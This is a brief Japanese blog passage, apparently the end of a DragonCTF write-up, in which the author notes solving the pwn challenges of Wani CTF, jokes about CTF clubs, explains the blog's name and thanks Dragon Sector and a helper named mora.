ちなみに、この DragonCTF と同期間に大阪大学のサークル主催の Wani CTF というものがあり、なんか TL に流れてきたので pwn だけ全部解いておきました。 SECCON beginners みたいな親切な問題が沢山あり、 どっかの TSG みたいに初心者向けと煽っていくスタイルとは違って良いサークルだなぁと思いました。嘘です。TSG も良いサークルです。嘘です。
名前は、その時頭に浮かんだことを理性というフィルターに一切かけることなく素通りさせた時に出力された文字列です。
Special Thanks
- Dragon Sector. 無知を認めて学び直すきっかけをありがとうございます。
- mora さん. わからないことをいつも教えてくれて凄く感謝してます:bow: